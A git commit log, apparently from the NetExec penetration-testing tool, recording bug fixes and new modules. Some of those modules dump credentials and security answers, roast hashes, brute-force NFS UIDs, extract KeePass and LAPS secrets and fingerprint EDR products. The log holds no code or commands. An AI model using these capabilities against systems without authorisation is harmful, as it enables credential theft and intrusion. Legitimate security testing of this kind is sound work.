Alex 1839f7a5ac Merge pull request #372 from Kamuno/fix-nla-format
Fixed nla detection and error format string
2024-07-19 18:07:57 +02:00
joaovarelas 8a6fb7c67a add module hyperv-host.py 2024-07-19 16:25:39 +01:00
Christopher Beckmann a1c57ee8d2 Fixed nla detection and error format string 2024-07-19 15:43:03 +02:00
Alexander Neff 280baadf07 Add try&except block for every user so we continue if the first fails 2024-07-18 18:39:45 -04:00
Alexander Neff 766ef1e81e Update impacket 2024-07-18 18:26:56 -04:00
Alex 5ae4134ab7 Merge branch 'main' into dumpSecurityQuestionsModule 2024-07-19 00:25:54 +02:00
Alexander Neff 2575bce0d6 Swap bbreak with continue as we would only query the first user if he hasnt security questions 2024-07-18 18:23:59 -04:00
Alex 3a5c109fed Merge pull request #371 from termanix/patch-5 2024-07-18 09:46:21 +02:00
termanix 5b186f4295 Update enum_av Added Trellix EDR
Signed-off-by: termanix <[email protected]>
2024-07-17 22:58:26 +03:00
termanix e0faaf3dbf Changed uid-brute for to keep consistency with SMB 2024-07-09 09:35:09 +03:00
termanix d071631c1a Update e2e_commands.txt - bruteforceuid added
Signed-off-by: termanix <[email protected]>
2024-07-08 18:26:49 +03:00
termanix 59b6bf8f76 Update proto_args.py
Signed-off-by: termanix <[email protected]>
2024-07-08 18:13:15 +03:00
termanix 7e52f8da69 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-07-08 17:08:39 +03:00
Alex 54cad53328 Merge pull request #365 from Pennyw0rth/neff-patch-1
Remove message that could be too annoying
2024-07-06 13:34:28 +02:00
Alexander Neff e96c301721 Change fail log to debug 2024-07-06 07:04:50 -04:00
Alexander Neff 3c64d27c68 Remove message that could be too annoying 2024-07-06 06:49:40 -04:00
mpgn 71cb5e99ef Merge pull request #361 from Pennyw0rth/dcom_fix
Fix mmcexec method thanks to @ippsec AND a lot of other small things
2024-07-06 12:11:36 +02:00
Alexander Neff d036fa8c04 Fix kerberos authentication when NTLM is not available 2024-07-05 21:15:29 -04:00
Alexander Neff fbf2546172 Fix laps login with kerberos 2024-07-05 18:18:57 -04:00
Alexander Neff abb5f1d99a Simplify error log 2024-07-05 15:55:41 -04:00
Alexander Neff d9ce9e9b62 Remove unused import and simplify addition 2024-07-04 13:55:38 -04:00
Alexander Neff 4045bb4185 Deactivate kerberos auth when retrieved laps creds 2024-07-04 13:50:37 -04:00
Alexander Neff 9d8eeb80e1 Update lsassy to 3.1.12 2024-07-04 12:56:41 -04:00
mpgn f17ea75de3 fix ruff 2024-07-04 18:19:36 +02:00
mpgn 18369b1739 Remove ntlm hash for laps (as not compatible with py10) + add dns_server option to laps 2024-07-04 18:12:12 +02:00
mpgn 3c89bcb19a remove array (not great with a lot of users on the domain 2024-07-03 23:44:16 +02:00
mpgn 68c827dcf6 add try catch on db 2024-07-03 14:47:56 +02:00
mpgn eb6be54ff1 fix kerberos support is not ntlm supported with fqdn machine name 2024-07-03 12:35:57 +02:00
mpgn 852e7819e5 fix ruff test 2024-07-02 23:44:58 +02:00
mpgn 42ce37d231 if ntlm not supported (only kerberos) big big stacktrace 2024-07-02 22:10:08 +02:00
mpgn 63e8295c46 if ldap connection failed when getting info, there is no need to continue to auth 2024-07-02 20:48:59 +02:00
mpgn b86f675100 fix wrong return in loop 2024-07-02 17:11:56 +02:00
Alex ccbeb4e402 Merge pull request #357 from termanix/patch-3
Small Bug Fix on Listing SMB Shares with Kerberos Auth
2024-07-02 17:01:19 +02:00
Alexander Neff 64e78fd7cd Fixing shares function with kerberos and minor database stuff 2024-07-02 10:56:59 -04:00
Alex d8f0f41d76 Merge pull request #364 from termanix/patch-4
Bug Fix While Using Bloodhound with --use-kcache Issue #363
2024-07-02 16:43:53 +02:00
Alexander Neff 9f3a77c2ab Fix missing colon 2024-07-02 10:26:58 -04:00
termanix 63f2d6943d Update ldap.py
swapped the execution&logging lines. For if there is an error on auth file

Signed-off-by: termanix <[email protected]>
2024-07-02 17:23:07 +03:00
termanix c83895697f Bug Fix While Using Bloodhound with --use-kcache Issue #363
Signed-off-by: termanix <[email protected]>
2024-07-02 17:05:34 +03:00
mpgn 98236804ab fix stacktrace with logger 2024-07-02 15:21:32 +02:00
Alexander Neff f9b61391ca Add logging statement to dcom connection 2024-07-02 07:33:56 -04:00
Alexander Neff 5b931d0cfa Fix add-computer if domain could not be resolved 2024-07-01 17:32:15 -04:00
Adamkadaban 0d5ac4e59e fix find/replace nonsense 2024-06-30 18:07:55 -07:00
Adamkadaban 45e1f0815f make variable names pythonic 2024-06-30 17:54:39 -07:00
Adam Hassan 21b1cfbb8c Merge branch 'Pennyw0rth:main' into dumpSecurityQuestionsModule 2024-06-30 17:49:55 -07:00
Alexander Neff 018ad9dbe7 Working on SCCM enumeration 2024-06-30 20:25:22 -04:00
Alexander Neff 1f83e6393f Fix bug where ldap parser would not parse all values of an attribute containing a list 2024-06-30 20:25:06 -04:00
mpgn da088d9e60 fix args with bloodhound (report from discord) 2024-06-30 17:50:56 -04:00
mpgn ce31e24111 add double quote 2024-06-30 17:38:35 -04:00
mpgn aab22cf4bc update require_admin 2024-06-30 17:33:55 -04:00
mpgn 6e391cad46 fix mmcexec method thanks to @ippsec 2024-06-30 17:00:16 -04:00
Alexander Neff 5f45bfcf37 Working on sccm recon 2024-06-28 12:10:22 -04:00
Alexander Neff 592793c718 Add missing requires_admin 2024-06-28 12:10:13 -04:00
termanix 5983b86b52 Small Bug Fix on Listing SMB Shares with Kerberos Auth
This is a bug I came across while working with Kerberos on another project.  If the information of the user in the ticket is not in the database, it gives an index error cause of user_id is empty. I thought about adding the ticket information as user_id, but since it wouldn't have any meaning when it expired, I proceeded with pass.


Signed-off-by: termanix <[email protected]>
2024-06-25 18:51:32 +03:00
termanix 449f556dc1 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-25 16:05:38 +03:00
Alex 669a55fd98 Merge pull request #356 from Pennyw0rth/neff-fix-332 2024-06-25 00:26:55 +02:00
Alex ead02d812e Merge pull request #286 from termanix/New_Module_Bitlocker 2024-06-25 00:23:44 +02:00
Alex cce5c32eb1 Merge pull request #293 from Sant0rryu/main 2024-06-24 00:37:59 +02:00
Alex b0b4641724 Merge pull request #355 from bfnserra/patch-1 2024-06-24 00:36:37 +02:00
Alexander Neff 8bbab764c5 Change execution to cmd and fix bugs 2024-06-23 18:18:39 -04:00
Alexander Neff 4f5453ee09 Merge branch 'main' into bitlocker 2024-06-23 17:51:37 -04:00
Alexander Neff 9d32ea0a2b Add exception handling to prevent crashes against linux hosts 2024-06-23 13:54:48 -04:00
termanix b9d73524ee Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-22 16:39:55 +03:00
Nicolas Serra e50f7acbd5 Update pso.py
Fix Typo (obersationWindow to observationWindow)

Signed-off-by: Nicolas Serra <[email protected]>
2024-06-21 19:12:03 +02:00
Alex ada4905922 Merge pull request #354 from aelmosalamy/patch-1
fix: little typo in help args
2024-06-20 00:51:53 +02:00
Adham Elmosalamy e13ec2776e fix: little typo in help args
Signed-off-by: Adham Elmosalamy <[email protected]>
2024-06-20 01:30:30 +04:00
jubeaz 073938f67a merge from main 2024-06-19 08:02:21 +02:00
Lodos2005 2ec51902a3 Add coerce_plus Module 2024-06-18 19:00:12 +03:00
Kahvi-0xFF 755113d3c7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 447bded268 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF e7689542f2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF cf8c1b19ca Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 27caff59d5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 19ea1bc559 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 73b35eb0ea Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF d5bb6d9606 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 1e90103b4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Sébastien Miguel 5ccf0d3553 Update powershell_history.py
add description to module option

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 8132bf73d3 Update powershell_history.py
Add the path to output file in the output

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 1105dcdf52 Update powershell_history.py
Add export feature and some keywords

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel bfed3d462b Create powershell_history.py
First commit 

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Adamkadaban 39b877a3f1 use context.log.fail instead of print and add debugging 2024-06-18 11:06:42 -04:00
Adamkadaban da61939a0d only import loads function from json. 2024-06-18 11:06:42 -04:00
Adamkadaban 3724142717 add security-questions module to e2e test 2024-06-18 11:06:42 -04:00
Adamkadaban 4919fe05fd add comments to security-questions module 2024-06-18 11:06:42 -04:00
Adamkadaban 6838793301 ruff checks for security-questions module. all passing now 2024-06-18 11:06:42 -04:00
Adamkadaban a579d2296a more verbose answer for when user has no questions
this can happen when json is `{"version":1,"questions":[]}`
2024-06-18 11:06:42 -04:00
Adamkadaban cc251e8b19 get rid of stray comment 2024-06-18 11:06:42 -04:00
Adamkadaban dcee201380 make this a high privilege module 2024-06-18 11:06:42 -04:00
Adamkadaban 39006b1fed add new security-questions module
this module will dump security questions and answers for all users on the machine assuming run as administrator

requires this PR to work: https://github.com/fortra/impacket/pull/1743
2024-06-18 11:06:42 -04:00
termanix ea5426b468 Update nfs.py
Bruteforce-UID added.

Kerberos auth left.

Signed-off-by: termanix <[email protected]>
2024-06-17 20:55:02 +03:00
termanix 8c2155cae5 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-17 11:42:52 +03:00
termanix 0b5bad9ba0 Update nfs.py
UID Brute Force added (To Do, Brute number will be taken by user)
disconnection debug bug fixed

To Do Kerberos Auth

Signed-off-by: termanix <[email protected]>
2024-06-17 11:42:35 +03:00
Alexander Neff c09304ef6c Autoformat 2024-06-14 20:39:04 -04:00
Alexander Neff 008c490f5b Reworked interface module to core functionality and fixed all its bugs 2024-06-14 20:38:29 -04:00
Alexander Neff 9d3bc4d071 Formating and ruff 2024-06-14 17:36:40 -04:00
Alex 3eaa1632c9 Merge branch 'main' into main 2024-06-14 16:46:48 -04:00
Alex 1af282888c Merge pull request #344 from n00py/main
Add EnumAV Detection for Cortex XDR
2024-06-14 16:15:20 -04:00
Alex f2311b308b Merge pull request #345 from Anhydrite/main
Added domain name for --users with samr
2024-06-13 19:33:25 -04:00
Marshall Hallenbeck 65fc94f8dd nfs: properly initialize table variables to None 2024-06-13 12:37:54 -04:00
Marshall Hallenbeck 7b37015b62 nfs: formatting, commenting, and small fixes 2024-06-13 11:14:17 -04:00
Marshall Hallenbeck 4c5844820f nfs(db): add LIR and shares table and reflection; rename conn to sess 2024-06-13 11:07:26 -04:00
Marshall Hallenbeck 27b52e2da4 deps: add pynfsclient 2024-06-13 11:02:20 -04:00
termanix d3c9d7258a Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-11 22:12:42 +03:00
Anhydrite d44ed75076 Merge branch 'Pennyw0rth:main' into main 2024-06-11 17:21:42 +02:00
Anhydrite 271268a092 added domain name for --users with samr 2024-06-11 17:21:07 +02:00
n00py cdffba942d Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:35:36 -06:00
n00py 15f29a9c4f Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:33:22 -06:00
n00py 08e3f17365 Update enum_av.py
Added signature for Cortex

Signed-off-by: n00py <[email protected]>
2024-06-11 08:31:33 -06:00
Alex e4ca4f9fef Merge pull request #343 from Anhydrite/main 2024-06-11 08:59:55 -04:00
Anhydrite 5f79c176ea PR Fixes: changed logger success to display & added len 2024-06-11 14:38:03 +02:00
Anhydrite 3e18d2f588 Just added prints 2024-06-11 11:48:09 +02:00
Alex c956dba3ab Merge pull request #340 from Pennyw0rth/neff-os-detection 2024-06-10 13:36:48 -04:00
Alexander Neff fbeab5fb5c Fingerprint Samba 2024-06-09 18:15:20 -04:00
termanix fbec1c7c31 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-09 15:34:10 +03:00
Marshall Hallenbeck 665f778dd0 Merge pull request #336 from Pennyw0rth/update_hash_tests
add testing hash file to e2e_commands.txt
2024-06-08 09:36:48 -04:00
Marshall Hallenbeck 791733853e add testing hash file to e2e_commands.txt 2024-06-07 21:16:51 -04:00
Alex eedbce83b6 Merge pull request #333 from Pennyw0rth/marshall-guest-login
Add output if a successful authentication is via Guest privileges
2024-06-07 19:58:11 +02:00
Alexander Neff 2bc18c5786 Fix Pwned spacing 2024-06-07 13:41:25 -04:00
termanix 71391b11de Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-07 10:26:58 +03:00
Marshall Hallenbeck e25988275a Merge pull request #334 from fpreynaud/main
[NXCDB] Add support for CTRL-D
2024-06-06 10:49:35 -04:00
François REYNAUD f3fb3d431f [NXCDB] Add support for CTRL-D 2024-06-06 12:15:42 +02:00
Marshall Hallenbeck 0983df94db fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-05 12:18:27 -04:00
Marshall Hallenbeck bd8620125c tests: add test hashes 2024-06-05 12:18:04 -04:00
Marshall Hallenbeck aa38c7a18a revert spacing for Admin/Guest output 2024-06-05 12:05:52 -04:00
Marshall Hallenbeck f1894b2c6b remove commited pyc files 2024-06-05 09:01:18 -04:00
Marshall Hallenbeck 3797ccf888 fix(ruff): E226 2024-06-05 08:37:44 -04:00
Marshall Hallenbeck cfe231a9a1 feat(smb): check if successful login is guest privs 2024-06-05 08:37:24 -04:00
termanix 9cf6d983e2 Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2024-06-04 12:26:15 +03:00
termanix fbfef1b4b0 Update e2e_commands.txt
Added NFS

Signed-off-by: termanix <[email protected]>
2024-06-04 12:24:01 +03:00
termanix 80839d850e New NFS Protocol
Signed-off-by: termanix <[email protected]>
2024-06-04 10:04:14 +03:00
Alex 67da598b11 Merge pull request #279 from sepauli/sepauli/fix-keepass_trigger
fix extract_password
2024-06-01 23:53:48 +02:00
Alexander Neff efa0b75c10 Fix linting 2024-06-01 17:47:07 -04:00
Alex 2fa3e83ae9 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-06-01 23:31:08 +02:00
Alex 6858958864 Merge pull request #327 from Pennyw0rth/ItsAlwaysDNS
ItsAlwaysDNS
2024-05-29 16:44:09 +02:00
Alexander Neff 03e25b708f Merge branch 'main' into ItsAlwaysDNS 2024-05-29 10:30:04 -04:00
Alex 64319fdb3c Merge pull request #326 from Pennyw0rth/marshall-windows-fixes
Windows Fixes for v1.2
2024-05-29 16:27:03 +02:00
Alexander Neff 8db769e290 Fix tests and remove unnecessary abspath 2024-05-28 09:38:12 +02:00
Shad0wC0ntr0ller db3e7923fb Update pre2k.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:40:16 -04:00
Shad0wC0ntr0ller 56feb10348 Identify Pre-Created Computer Accounts
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:04:58 -04:00
Alexander Neff 20e01f92eb Version bump 2024-05-27 18:45:00 -04:00
Alexander Neff 9d70105230 More path fixes 2024-05-28 00:20:34 +02:00
Alexander Neff 69e47d15cb Fix issues with hardcoded /tmp 2024-05-27 23:17:30 +02:00
Alexander Neff bd7202d2c5 Fix test suite 2024-05-27 23:07:13 +02:00
Alexander Neff 63a78cb176 Fix ssh tests 2024-05-27 02:52:58 -04:00
Alexander Neff b6c57ce13a Change only git bash encoding to utf8 2024-05-27 08:05:09 +02:00
Alex 928b0d947e Add utf-8 default to testing suite 2024-05-26 19:14:12 +02:00
Alex 68fb2d3e86 Change default encoding to utf-8 2024-05-26 19:04:36 +02:00
Alex 1111e11108 Add executable testing 2024-05-26 18:24:36 +02:00
Alexander Neff d0f07b4138 Fix spec file for smb 2024-05-26 07:26:21 -04:00
sepauli 94e0ab62ea fix typo 2024-05-25 18:58:29 +02:00
sepauli 061ee498bf fix output for keepass2 2024-05-25 18:37:03 +02:00
Marshall Hallenbeck 53646f9d31 Merge branch 'main' into marshall-windows-fixes
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-25 11:02:18 -05:00
Alex b855dac2b6 Merge pull request #315 from Pennyw0rth/neff-e2e_tests 2024-05-25 17:26:36 +02:00
Alexander Neff 404bff5e26 Merge branch 'main' into neff-e2e_tests 2024-05-25 10:51:19 -04:00
zblurx ad923f842d Merge pull request #225 from Pennyw0rth/passwords_dump_update
Passwords dump update
2024-05-25 13:44:53 +02:00
Marshall Hallenbeck 49f6f9cbfd Merge branch 'main' into neff-e2e_tests
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 10:07:28 -05:00
Marshall Hallenbeck f060aeb75f Merge branch 'main' into passwords_dump_update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 09:58:28 -05:00
Marshall Hallenbeck 630d32592e Merge pull request #325 from Fabrizzio53/main
Added --dns-tcp,--dns-timeout and --dns-server parameters to the ldap protocol when using --bloodhound
2024-05-24 09:55:37 -05:00
Fabrizzio53 a4e9ef21ce Update proto_args.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:22:16 -03:00
Fabrizzio53 ddb89b9a4b Update ldap.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:21:57 -03:00
Marshall Hallenbeck 40862382f1 Merge pull request #321 from Pennyw0rth/marshall-options-fix
Refactor argparse options
2024-05-23 20:13:00 -05:00
Marshall Hallenbeck 3def5487ee fix: add back in option that was accidentally removed during merge conflict 2024-05-23 20:00:03 -04:00
Marshall Hallenbeck 6b92270a38 fix(slinky): use proper TMP and allow custom shares to ignore 2024-05-23 11:07:36 -04:00
Marshall Hallenbeck 9879edffca fix(paths): change TMP creation to if/else, so Windows properly sets 2024-05-23 11:07:05 -04:00
Marshall Hallenbeck 0983f7950e dns: allow DNS options to be called anywhere on the command line 2024-05-22 17:08:34 -04:00
Marshall Hallenbeck 12a7fa0b2f Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-22 15:11:49 -05:00
Marshall Hallenbeck 2191deebce Merge pull request #309 from Pennyw0rth/neff-add-ldapquery
Add ldap query option
2024-05-22 15:06:01 -05:00
Marshall Hallenbeck db41c0893a Merge pull request #317 from Pennyw0rth/neff-command-execution
Improving execution speed and misc command execution improvements
2024-05-22 15:05:38 -05:00
Marshall Hallenbeck 06b1e066ba Merge pull request #307 from Pennyw0rth/marshall-wcc-fix
Fix: WCC Module - do not create log file on every file load
2024-05-22 15:04:22 -05:00
Disgame b1238fceb7 Merge branch 'Pennyw0rth:main' into timeroast_module 2024-05-22 15:48:03 +02:00
zblurx 9d6188eadf fix doublespace 2024-05-22 10:06:01 +02:00
Marshall Hallenbeck 16508f89d4 Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:46:09 -05:00
Marshall Hallenbeck ab23659c7f fix(wcc): reduce spammy output for wcc (will fix this in a better way later); closes #232 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 42642016ba remove newline
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 6fdead466e fix(wcc): remove unnecessary comments and whitespace
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck d91e15413e fix(wcc): do not create the wcc log file every time -L is ran, etc 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck de2541e212 tests: add more exec-method testss 2024-05-21 14:55:11 -04:00
zblurx dba83a43f9 multiple fixes 2024-05-21 20:29:42 +02:00
Marshall Hallenbeck 4d6b3b3f71 tests: add exec-method tests for cmd 2024-05-21 13:09:01 -04:00
zblurx 67de1a1fa1 fix on dpapiSystem object 2024-05-21 17:49:51 +02:00
Marshall Hallenbeck 4afc67422a ruff: apply ruff 2024-05-21 11:30:27 -04:00
Marshall Hallenbeck cfbfeec7a7 tests: just always print failures, and remove option; update tmp folder logic, add put/get file tests for smb, and fix file referencing in tests 2024-05-21 11:30:07 -04:00
zblurx 57f35d453c fix error message condition 2024-05-21 14:45:02 +02:00
zblurx 8a0dcf0429 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-05-21 14:24:24 +02:00
zblurx dd7cbb6e74 fix ruff warnings 2024-05-21 14:19:06 +02:00
zblurx 85c44fa7bd update e2e 2024-05-21 14:15:47 +02:00
zblurx 7e90d8082f fixed sccm 2024-05-21 14:15:22 +02:00
zblurx 9b74ea59c3 update vnc 2024-05-21 12:46:05 +02:00
zblurx 1c740bd199 changed sccm to go as a core option 2024-05-21 10:39:01 +02:00
zblurx f530cbdc58 add e2e commands for mremoteng and mobaxterm 2024-05-21 10:21:25 +02:00
zblurx a07ee5f23f update vnc module 2024-05-21 10:14:36 +02:00
Marshall Hallenbeck f3b73ffdf2 fix(mssql): check if output isnt an empty list/None before trying to stringify it for output 2024-05-20 16:05:44 -04:00
Alexander Neff b0e9fe24f9 Fix test paths 2024-05-20 13:50:31 -04:00
Alexander Neff f58d7385aa Merge branch 'main' into neff-e2e_tests 2024-05-20 12:54:36 -04:00
Alexander Neff 837f9a04a2 Fix "tries" logic due to merge and beautify code 2024-05-20 12:48:52 -04:00
Alexander Neff 2e73007281 Merge branch 'main' into neff-command-execution 2024-05-20 12:36:27 -04:00
Marshall Hallenbeck cf231d5985 Merge pull request #296 from Pennyw0rth/marshall-pwsh-update
Refactor/fix/update PowerShell and related features
2024-05-20 11:27:28 -05:00
Marshall Hallenbeck 23a7d11eeb fix: revert output for command execution and normalize it to what SMB was 2024-05-20 12:23:57 -04:00
Marshall Hallenbeck e10e38f152 Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:09:01 -05:00
Marshall Hallenbeck f8655022cf fix(smb): change command output back to match mssql (one big blob) 2024-05-20 12:11:17 -04:00
Marshall Hallenbeck d0a4afe19b Merge pull request #196 from XiaoliChan/dns
[DNS] Add DNS args
2024-05-20 10:55:50 -05:00
Alex ca01584f76 Merge pull request #318 from Pennyw0rth/Marshall-Hallenbeck-patch-1
fix(tests): add spaces & fix one file reference
2024-05-20 17:54:49 +02:00
Marshall Hallenbeck bda8700a58 fix(tests): add spaces & fix one file reference
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:46:52 -04:00
Alexander Neff 447d1719c1 Add exec methods to e2e tests 2024-05-20 11:14:01 -04:00
Alexander Neff 4ffcc83bcc Make execution methods more efficient and wait powershell execution if detectable 2024-05-20 10:50:48 -04:00
Alexander Neff 5655e5c0fd Replace fixed default text with argparse default string 2024-05-20 09:33:46 -04:00
Alexander Neff 9be17e92d9 Fix wrong function call 2024-05-20 06:11:33 -04:00
Alexander Neff 0166a426f0 Merge branch 'main' into dns 2024-05-20 05:57:38 -04:00
Marshall Hallenbeck 65030d7662 Merge pull request #313 from Pennyw0rth/neff-fix-ssh
Handle paramiko error when bruteforcing
2024-05-19 16:47:00 -05:00
Marshall Hallenbeck 198f8f8a79 Merge pull request #314 from Pennyw0rth/marshall-tests-fix
Fix for tests referencing files, password/username variable, and a couple KERBEROS space issues
2024-05-19 16:46:13 -05:00
Marshall Hallenbeck 47b1c1f738 fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging 2024-05-19 17:41:38 -04:00
Alex 7afb4afd35 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-05-19 23:40:10 +02:00
Alexander Neff 4bc012655d Remove left over code 2024-05-19 17:12:01 -04:00
Alexander Neff 1fce072cbe Merge branch 'marshall-tests-fix' into neff-e2e_tests 2024-05-19 17:00:10 -04:00
Alexander Neff c1d52364b3 Removing retries logic 2024-05-19 16:51:49 -04:00
Marshall Hallenbeck 2f098f2420 fix(tests): improve data directory finding so you can run tests in root dir or tests dir and the path names should resolve 2024-05-19 15:17:51 -05:00
Alexander Neff d2760dc287 Added error handling for paramiko internals 2024-05-19 13:06:01 -04:00
Alexander Neff 7cf94d297b Create connection object for every auth request 2024-05-19 12:36:19 -04:00
Alexander Neff 393b607a1b Adding a banner_timeout as this might fix #312 according to https://github.com/paramiko/paramiko/issues/1752#issuecomment-979219861 2024-05-19 08:59:12 -04:00
Alexander Neff a98bfab28d Add timeout to the plaintext login 2024-05-19 08:51:42 -04:00
Alexander Neff 407e707847 Remove --options tests as they dont provide any additional value 2024-05-19 08:48:16 -04:00
Alexander Neff 5e255bc17c Fix brute force tests with cwd path 2024-05-18 21:12:09 -04:00
Alexander Neff 18d519dd68 Disable rdp module and add putty tests 2024-05-18 21:09:24 -04:00
Alexander Neff b3c1e4f5c2 Delete deprecated bh_owned module 2024-05-18 21:08:55 -04:00
Alexander Neff 45b03e78d5 Improve testing and add retries 2024-05-18 21:08:20 -04:00
termanix 763cf57c18 Merge branch 'main' into New_Module_Bitlocker 2024-05-18 19:52:21 +03:00
Marshall Hallenbeck 65a41b8408 Merge branch 'main' into dns 2024-05-17 19:37:10 -05:00
Marshall Hallenbeck 5197a0eaf3 Merge pull request #310 from Pennyw0rth/marshall-pr-template-fix
fix: move PR template to the correct location
2024-05-17 19:26:23 -05:00
Enrico Belgiovine e7d30329ed fix: ruff check 2024-05-18 01:39:27 +02:00
Marshall Hallenbeck e2e0297a3a Merge remote-tracking branch 'XiaoliChan/dns' into pr-196 2024-05-17 19:37:59 -04:00
Marshall Hallenbeck 95ac1af00a fix(wmi): handle Kerberos auth failures and return proper error codes 2024-05-17 19:33:58 -04:00
Alex 078b0ff451 Merge branch 'main' into dns 2024-05-18 01:20:16 +02:00
Marshall Hallenbeck cdd62033ea fix: move PR template to the correct location 2024-05-17 19:14:18 -04:00
Enrico Belgiovine 4143073123 fix: moved display Information out of logic 2024-05-18 01:04:40 +02:00
Enrico Belgiovine a636fb45ae feat: new option to retrieve old hashes 2024-05-18 01:01:45 +02:00
Enrico Belgiovine 56795fc713 feat: timeroast.py implemented as netexec module 2024-05-18 00:43:57 +02:00
termanix 610bad1bae Update bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 0aaad63819 Update bitlocker.py
Fixed smb error line.

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 406507e8de Update bitlocker.py
Updated according to the new powershell update.


Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 6c4e8ead5e Update e2e commands 2024-05-17 14:18:38 -05:00
termanix 5ff488eae5 Fixed ruff checks bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban c354978fa1 Update bitlocker.py
Fixed a bug, if bitlockervolume and namespace does not exist.

Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban 50ed8279e1 Update bitlocker.py
Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix f55cbf6f23 Update bitlocker.py
Using WMI command

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 219deaf073 BitLocker 2024-05-17 14:18:38 -05:00
Alexander Neff a2d43caa2a Add ldap query option 2024-05-17 13:24:09 -04:00
Marshall Hallenbeck cd088a0bd7 fix(ruff): ignore oneliner alert 2024-05-17 12:25:26 -04:00
Marshall Hallenbeck 736db4dbd7 update force_ps32 if/then for readability (and add Ruff ignore - blame Neff!) 2024-05-17 11:10:05 -04:00
Marshall Hallenbeck 6213c6456d remove blank line 2024-05-17 10:56:54 -04:00
Marshall Hallenbeck 4ae085403d remove excess tab 2024-05-17 10:56:29 -04:00
Marshall Hallenbeck e4925d301d clarify debug message 2024-05-17 10:53:53 -04:00
Marshall Hallenbeck ca3291877a update error when execution is blocked by AMSI 2024-05-17 10:52:57 -04:00
Marshall Hallenbeck 0910b98af6 docs: update options to clarify what certain flags are for 2024-05-17 10:51:52 -04:00
Marshall Hallenbeck aa9b044e7b Merge pull request #308 from Pennyw0rth/marshall-hash-spider-fix
Fix: hash_spider Lsassy Parser syntax
2024-05-17 09:29:27 -05:00
Alexander Neff 34c3c29266 Remove hash_spider setting logging attributes (they are wrong anyway) 2024-05-17 10:19:32 -04:00
Marshall Hallenbeck 730b57248d fix(hash_spider): update calling lsassy Parser since it was changed 4 months ago 2024-05-17 09:28:55 -04:00
Marshall Hallenbeck 98244994b9 tests: add hash spider test db to gitignore 2024-05-17 09:28:31 -04:00
Marshall Hallenbeck 152958ed13 fix: remove restrictions on smb and ldap port choice 2024-05-16 21:09:40 -04:00
Marshall Hallenbeck eb7707a076 refactor(args): update remaining protos to use new default formatter for printing arg defaults 2024-05-16 21:08:44 -04:00
Marshall Hallenbeck 913c760115 tests: re-enable rdp options and fix wmi rdp call 2024-05-16 20:51:39 -04:00
